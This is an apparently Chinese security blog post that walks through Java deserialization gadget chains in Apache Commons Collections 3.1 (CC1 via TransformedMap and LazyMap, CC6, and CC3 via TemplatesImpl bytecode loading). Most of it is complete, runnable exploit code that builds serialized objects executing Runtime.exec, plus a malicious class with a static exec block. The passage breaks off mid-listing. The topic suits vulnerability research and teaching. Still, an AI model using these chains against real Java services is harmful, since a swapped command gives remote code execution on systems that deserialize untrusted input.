罪恶克星 发表于 2024-12-21 11:55:21

Java安全-CC链全分析

前置知识

Java访问权限概述

对于一个类,其成员(包括成员变量和成员方法)可否被其他类所访问,取决于该成员的修饰词。在Java中,类成员的访问权限修饰词有四个:private,无(包访问权限),protected 和 public,其权限控制如下表所示:
同一个类中同一个包中不同包的子类不同包的无关类public✔✔✔✔protected✔✔✔无(空着不写)✔✔private✔ 不同包中子类: 不同包通过继承获得关系
不同包中的无关类: 不同包通过直接创建对象来获得关系
反射

Java反射操作的是java.lang.Class对象,所以我们必要要先获取到Class对象。
获取Class对象的方式:
1. Class.forName("全类名"):将字节码文件加载进内存,返回Class对象
         多用于配置文件,将类名定义在配置文件中。读取文件,加载类
2. 类名.class:通过类名的属性class获取
         多用于参数的传递
3. 对象.getClass():getClass()方法在Object类中定义着。
         多用于对象的获取字节码的方式
代码实例:
方式一:
      Class cls1 = Class.forName("Domain.Person");
      System.out.println(cls1);
方式二:
      Class cls2 = Person.class;
      System.out.println(cls2);
      
方式三:

      Person p = new Person();
      Class cls3 = p.getClass();
      System.out.println(cls3);
环境摆设

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>cc分析</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
      <maven.compiler.source>8</maven.compiler.source>
      <maven.compiler.target>8</maven.compiler.target>
      <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
      <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
      </dependency>

      <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
      </dependency>
    </dependencies>
</project>
CC1

流程分析

入口:org.apache.commons.collections.Transformer
https://i-blog.csdnimg.cn/direct/fdf4034e8ba44baf915373d7d9916bee.png
入口类:org.apache.commons.collections.functors.InvokerTransformer,它的transform方法使用了反射来调用input的方法,InvokerTransformer相称于帮我们实现了一个反射调用,并且input,iMethodName,iParamTypes,iArgs都是可控的
https://i-blog.csdnimg.cn/direct/dd2da96779c04d3c8a36ce67b6a1c40b.png
因此我们可以通过InvokerTransformer类的transform方法来invoke Runtime类getRuntime对象的exec来实现rce
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class cc1 {
    public static void main(String[] args) {
      new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(Runtime.getRuntime());
    }
}
乐成执行命令
https://i-blog.csdnimg.cn/direct/bd3a9b3143ee4ac288667111b6cc99f0.png
如今的重点就是去找一个别的的类有transform方法,并且传入的Object是可控的,然后我们只要把这个Object设为InvokeTransformer即可,我们全局搜索transform方法,能够发现很多类都是有transform方法的,我们这里先研究的是CC1,所以我们直接看TransformerMap类
https://i-blog.csdnimg.cn/direct/99163da0e3fc4d259384170f907b95cc.png
在TransformedMap中的checkSetValue方法中调用了transform,valueTransformer是构造的时间赋的值,再看构造函数
https://i-blog.csdnimg.cn/direct/ffdb81190d04403e92c5d269280bc7ba.png
构造函数是一个protected,所以不能让我们直接实例赋值,只能是类内部构造赋值,找哪里调用了构造函数
https://i-blog.csdnimg.cn/direct/e14f5598146c4dc9864891ac017bba94.png
一个静态方法,这里我们就能控制参数了
https://i-blog.csdnimg.cn/direct/362d4e117c444983b202a9972c15ed00.png
如果我们可以调用 TransformedMap 的 checkSetValue方法,那我们给 valueTransformer 实例就可以通过valueTransformer.transform(value) 实现 InvokerTransformer.transform(value) 从而 rce
如今调用transform方法的问题解决了,返回去看checkSetValue,可以看到value我们临时不能控制,全局搜索checkSetValue,看谁调用了它,并且value值可受控制,在AbstractInputCheckedMapDecorator类中发现,凑巧的是,它刚好是TransformedMap的父类
https://i-blog.csdnimg.cn/direct/cf950548dce5488d87c39ec5eb5d22ba.png
https://i-blog.csdnimg.cn/direct/e2efdfadd32e46a8aea864902cdca511.png
https://i-blog.csdnimg.cn/direct/125d191477a3441b9e364e00a0d18a49.png
在这里如果对Java聚集认识一点的人看到了setValue字样就应该想起来,我们在遍历聚集的时间就用过setValue和getValue,所以我们只要对decorate这个map进行遍历setValue,由于TransformedMap继承了AbstractInputCheckedMapDecorator类,因此当调用setValue时会去父类探求,写一个demo来测试一下:
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) {
      Runtime r = Runtime.getRuntime();
      InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
      HashMap<Object, Object> map = new HashMap<>();
      map.put("1","2");
      Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
      for(Map.Entry entry:decorate.entrySet()){
            entry.setValue(r);
      }
    }
}

https://i-blog.csdnimg.cn/direct/d9c0a24204aa41b8b906636c72f17356.png
我们追踪一下setValue看是在哪调用的,在AnnotationInvocationHandler中找到,而且照旧在重写的readObject中调用的setValue,这还省去了再去找readObject
    private void readObject(java.io.ObjectInputStream s)
      throws java.io.IOException, ClassNotFoundException {
      s.defaultReadObject();

      // Check to make sure that types have not evolved incompatibly

      AnnotationType annotationType = null;
      try {
            annotationType = AnnotationType.getInstance(type);
      } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
      }

      Map<String, Class<?>> memberTypes = annotationType.memberTypes();

      // If there are annotation members without values, that
      // situation is handled by the invoke method.
      for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {// i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                  memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                              annotationType.members().get(name)));
                }
            }
      }
    }
我们分析下AnnotationInvocationHandler这个类,未用public声明,阐明只能通过反射调用
https://i-blog.csdnimg.cn/direct/48e10b0208334ba2b3bf693ca72dcb55.png
查看一下构造方法,传入一个Class和Map,此中Class继承了Annotation,也就是必要传入一个注解类进去,这里我们选择Target,之后说为什么
https://i-blog.csdnimg.cn/direct/ffd6808d89334515bb57a5ef8c90f68b.png
构造exp:
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
      Runtime r = Runtime.getRuntime();
      InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
      HashMap<Object, Object> map = new HashMap<>();
      map.put("1","2");
      Map<Object, Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
//      for(Map.Entry entry:decorate.entrySet()){
//            entry.setValue(r);
//      }
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      Object o = constructor.newInstance(Target.class, decorate);
    }
}
如今有个难题是Runtime类是不能被序列化的,但是反射来的类是可以被序列化的,还好InvokeTransformer有一个绝佳的反射机制,构造一下:
Method RuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(RuntimeMethod);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
如今另有个小问题,此中我们的transformedmap是传入了一个invokertransformer,但是如今这个对象没有了,被拆成了多个,就是上述三段代码,得想个办法统合起来,这里就回到最初的Transformer接口里去探求,找到ChainedTransformer,刚好这个方法是递归调用数组里的transform方法
https://i-blog.csdnimg.cn/direct/a80f9da54c924af280e660a8cfe02256.png
我们就可以这样构造:
Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("1","2");
Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
到这一步雏形以及可以构造出来了
package org.example;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc1.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
      Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap<Object, Object> map = new HashMap<>();
      map.put("1","2");
      Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      Object o = constructor.newInstance(Target.class, decorate);
      serialize(o);
      deserialize("cc1.bin");
    }
}

https://i-blog.csdnimg.cn/direct/293dea9cdff14e68b1dacd2dbe91c055.png
但是这里反序列化并不能执行命令,why?缘故原由在于AnnotationInvocationHandler里触发setValue是有条件的,我们调试追踪进去看看:
https://i-blog.csdnimg.cn/direct/50a68ab9baaf4659bbbd9a5967d7e5a9.png
要想触发setValue得先过两个if判定,先看第一个if判定,memberType不能为null,memberType其实就是我们之前传入的注解类Target的一个属性,这个属性哪里来的?就是我们最先传入的map map.put(“1”,“2”)
获取这个name:1,获取1这个属性,很明显我们的Target注解类是没有1这个属性的,我们看一下Target类
https://i-blog.csdnimg.cn/direct/0885a2df878146e097e918054c3ba85a.png
Target是有value这个属性的,所以我们改一下map,map.put(“value”, 1),这样就过了第一个if,接着往下看第二个if,这里value只要有值就过了,乐成到达setValue,但这里另有末了一个问题,如何让他调用Runtime.class?这里又得提到一个类,ConstantTransformer,这个类的特点就是我们传入啥,它直接就返回啥
https://i-blog.csdnimg.cn/direct/3a37a2ec85c34f86a216ab4ef39c5ee2.png
这样就能构造最终的exp:
package org.example;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc1.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap<Object, Object> map = new HashMap<>();
      map.put("value","1");
      Map<Object, Object> decorate = TransformedMap.decorate(map, null, chainedTransformer);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      Object o = constructor.newInstance(Target.class, decorate);
      serialize(o);
      deserialize("cc1.bin");
    }
}


https://i-blog.csdnimg.cn/direct/314e901fb8524cbc96ae6962b30df911.png
以上是此中一条CC1,另有另一条CC1,是从LazyMap入手,我们也来分析一下,在LazyMap的get方法里调用了transform
https://i-blog.csdnimg.cn/direct/a98905a33be045f8b4117ca9ab5d90ed.png
看构造方法,factory必要我们控制,同样在类内部找哪里调用了这个构造方法
https://i-blog.csdnimg.cn/direct/d4c46e9a705f4b8a8d5459a6c9a29667.png
很明显,跟之前基本相似,就是从checkValue换到了get
https://i-blog.csdnimg.cn/direct/07347e657de9439eaaf51d1701b8249d.png
那么get在哪调用的,照旧在AnnotationInvocationHandler,它的invoke方法调用了get
    public Object invoke(Object proxy, Method method, Object[] args) {
      String member = method.getName();
      Class<?>[] paramTypes = method.getParameterTypes();

      // Handle Object and Annotation methods
      if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes == Object.class)
            return equalsImpl(args);
      if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

      switch(member) {
      case "toString":
            return toStringImpl();
      case "hashCode":
            return hashCodeImpl();
      case "annotationType":
            return type;
      }

      // Handle annotation member accessors
      Object result = memberValues.get(member);

      if (result == null)
            throw new IncompleteAnnotationException(type, member);

      if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

      if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

      return result;
    }
这里是个动态代理,我们可以用AnnotationInvocationHandler来代理LazyMap,这样就会触发invoke方法,构造一下exp(基本大差不差):
package org.example;

import com.sun.xml.internal.ws.encoding.MtomCodec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class cc12 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc1_lazymap.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      HashMap<Object, Object> map = new HashMap<>();
      Map<Object, Object> decorate = LazyMap.decorate(map,chainedTransformer);
      Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

      Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
      constructor.setAccessible(true);
      InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
      Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
      Object o = constructor.newInstance(Target.class, newMap);
      serialize(o);
      deserialize("cc1_lazymap.bin");
    }
}
CC6

CC6不受jdk版本限制,算是一条最常用的CC链
这是Ysoserial上的CC6,可以看到后半部门没变,从LazyMap.get开始通过TiedMapEntry.getValue来调用了,我们追踪一下
https://i-blog.csdnimg.cn/direct/d455154646f44cd49242ecd09f06d27c.png
TiedMapEntry.getValue调用了map.get
https://i-blog.csdnimg.cn/direct/0e1015e5f7794af9becc1b40ef0e5f2b.png
看构造函数,map,key我们都能控制
https://i-blog.csdnimg.cn/direct/8d6de595681f4975836451fb409537f0.png
找getValue方法在哪调用,TiedMapEntry自身的hashCode方法调用了,看到这个hashCode是不是很眼熟,没错,我们研究URLDNS的时间就是用到这里,那么显而易见,我们前面的就是HashMap了
https://i-blog.csdnimg.cn/direct/595ade3d90a741888b590ca12ae014c5.png
构造exp,注意这里跟URLDNS有雷同的问题,hashMap.put的时间就触发了hash方法也同时调用了hashCode,所以直接就执行命令了,照旧同样的手法将某些值改一下就行了
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc6.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      Map<Object, Object> map = new HashMap<>();
      Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
      TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
      HashMap<Object, Object> hashMap = new HashMap<>();
      hashMap.put(tiedMapEntry, null);
      Field factory = LazyMap.class.getDeclaredField("factory");
      factory.setAccessible(true);
      factory.set(lazymap, chainedTransformer);
      serialize(hashMap);
      deserialize("cc6.bin");
    }
}

但是这里奇怪的是照旧没法弹盘算器,我们调试一下看看,发现是LazyMap.get这里的问题,这里有一个if判定,我们这个map没有给值,在hashMap.put触发后给put进去一个null的键,第二次触发的之前我们把这个键删掉就行了。
https://i-blog.csdnimg.cn/direct/5408f7ce4bb842e0b418d399e59b3c16.png
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc6.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
      Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
      };
      ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
      Map<Object, Object> map = new HashMap<>();
      Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
      TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
      HashMap<Object, Object> hashMap = new HashMap<>();
      hashMap.put(tiedMapEntry, null);
      map.remove(null);
      Field factory = LazyMap.class.getDeclaredField("factory");
      factory.setAccessible(true);
      factory.set(lazymap, chainedTransformer);
      serialize(hashMap);
      deserialize("cc6.bin");
    }
}
CC3

CC3就跟前两条链不太一样了,CC1与CC6都是执行命令,很多时间服务器的代码当中的黑名单会选择禁用Runtime,而CC3是执行静态代码块,CC3接纳的是动态加载类,也就是利用了defineClass,我们搜索哪些类有defineClass,找到这个TemplatesImpl,这玩意厉害的很,以后另有很多地方用到
https://i-blog.csdnimg.cn/direct/053f3b07e41e4eb18e7a2ff144e732ec.png
继续跟进,在defineTransletClasses方法中调用了defineClass
    private void defineTransletClasses()
      throws TransformerConfigurationException {

      if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
      }

      TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                  return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

      try {
            final int classCount = _bytecodes.length;
            _class = new Class;

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class = loader.defineClass(_bytecodes);
                final Class superClass = _class.getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                  _transletIndex = i;
                }
                else {
                  _auxClasses.put(_class.getName(), _class);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
      }
      catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
      }
      catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
      }
    }


[*]_bytecodes必要赋值
[*]_tfactory必要赋值
不过_tfactory在readObject方法里被赋值了,因此不用管,继续跟进看谁调用了defineTransletClasses,看getTransletInstance,得绕过第一个if判定,所以得反射赋值给_name
https://i-blog.csdnimg.cn/direct/2b576ee8c89b4d279a8c1015e8848cc8.png


[*]必要赋值_name
[*]不能赋值_class
继续跟进看谁调用了getTransletInstance,如今基本有一个构造思路了,new 一个TemplateIml对象,然后调用newTransformer方法,从而去defineClass
https://i-blog.csdnimg.cn/direct/0e2e61a3ec1445d9ab252011120b96b0.png
由于还没序列化,所以先手动给_tfactory赋值,不过运行后报了个空指针错误
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc3 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc6.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\src\\main\\java\\org\\example\\Eval.java"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
      Transformer transformer = templates.newTransformer();
    }
}

package org.example;

import java.io.IOException;

public class Eval {
    static {
      try {
            Runtime.getRuntime().exec("calc");
      } catch (IOException e) {
            throw new RuntimeException(e);
      }
    }

    public static void main(String[] args) {

    }
}

调试发如今这由于if判定没过,导致进去这个空指针错误,继续反射修改ABSTRACT_TRANSLET的值就ok,或则让恶意类Eval继承这个ABSTRACT_TRANSLET所指向的类
https://i-blog.csdnimg.cn/direct/a581d6b5144248e2a35ea7c7e611721d.png
乐成弹出盘算器
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cc3 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc6.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
      _tfactory.set(templates, new TransformerFactoryImpl());
      Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
      ABSTRACT_TRANSLET.setAccessible(true);
      ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
      Transformer transformer = templates.newTransformer();
    }
}
!https://i-blog.csdnimg.cn/direct/7914954f3d724749a12b97d9429ede91.png
末了的问题是如何去序列化,可以看到Transformer这个类,我们可以结合CC1或者CC6
CC1
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void serialize(Object obj) throws IOException {
      FileOutputStream fos = new FileOutputStream("cc3.bin");
      ObjectOutputStream oos = new ObjectOutputStream(fos);
      oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
      FileInputStream fis = new FileInputStream(filename);
      ObjectInputStream ois = new ObjectInputStream(fis);
      ois.readObject();
    }

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
      TemplatesImpl templates = new TemplatesImpl();
      Field _name = TemplatesImpl.class.getDeclaredField("_name");
      _name.setAccessible(true);
      _name.set(templates, "1");
      Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      _bytecodes.setAccessible(true);
      byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC\\untitled\\target\\classes\\org\\example\\Eval.class"));
      byte[][] code = {bytes};
      _bytecodes.set(templates, code);
      Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
      _tfactory.setAccessible(true);
